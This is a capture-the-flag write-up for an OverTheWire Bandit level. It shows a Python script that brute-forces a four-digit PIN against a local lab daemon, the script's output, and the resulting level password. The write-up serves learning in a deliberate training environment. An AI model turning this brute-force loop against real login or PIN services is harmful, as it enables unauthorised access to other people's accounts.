../

OverTheWire - Bandit: Level 25 to Level 26


Now, something new comes in game: bruteforcing.

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

You do not need to create new connections each time

First, let’s check out how the interaction with port 30002 will work. Therefore, we connect to this port and try it out.

1$ nc localhost 30002
2I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
3$ VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 1234
4Wrong! Please enter the correct pincode. Try again.
5$ VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9999
6Wrong! Please enter the correct pincode. Try again.

Since python3 is installed and usable, we can create a small python script to connect to the port and bruteforce the pin.

import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as con:
	con.connect(('127.0.0.1', 30002))
	# let's receive the welcome message
	msg = con.recv(255).decode()
	for pin in range(0, 10000):
		# For some Monitoring we print a message every 500 pins
		if pin % 500 == 0:
			print(f"reached pin {pin:04d}")
		# Preparing our bruteforce string
		# The pin, simply an integer, is prepended with zeros
		# to match the expected format of a 4-digit pin
		to_send = f"VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar {pin:04d}\n"
		con.sendall(to_send.encode())
		# About 250 bytes should be enough to receive at once.
		msg = con.recv(250).decode()
		# Since we do not know yet how the message looks like 
		# in case of success, we simply check for the 
		# non successful message. If it is not received
		# we expect to be successful.
		if not "Wrong!" in msg:
			print(to_send)
			print("leads to:")
			print(msg)
			break

Again, we create a temporary file under /tmp/ to store the script and then execute it. This takes some time, so one can grep some coffee and cake.

1$ python3 /tmp/shoujin24.py
2reached pin 0000
3reached pin 0500
4reached pin 1000
5reached pin 1500
6reached pin 2000
7reached pin 2500
8reached pin 3000
9reached pin 3500
10reached pin 4000
11reached pin 4500
12reached pin 5000
13reached pin 5500
14reached pin 6000
15reached pin 6500
16reached pin 7000
17reached pin 7500
18reached pin 8000
19reached pin 8500
20reached pin 9000
21VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9015
22
23leads to:
24Correct!
25The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
26
27Exiting.

There it is! The pin is 9015 and the password of bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d.

Kategorien: #/writeups/; #/overthewire/

Tags: #/security/; #/hacking/; #/bash/; #/linux/; #/ctf/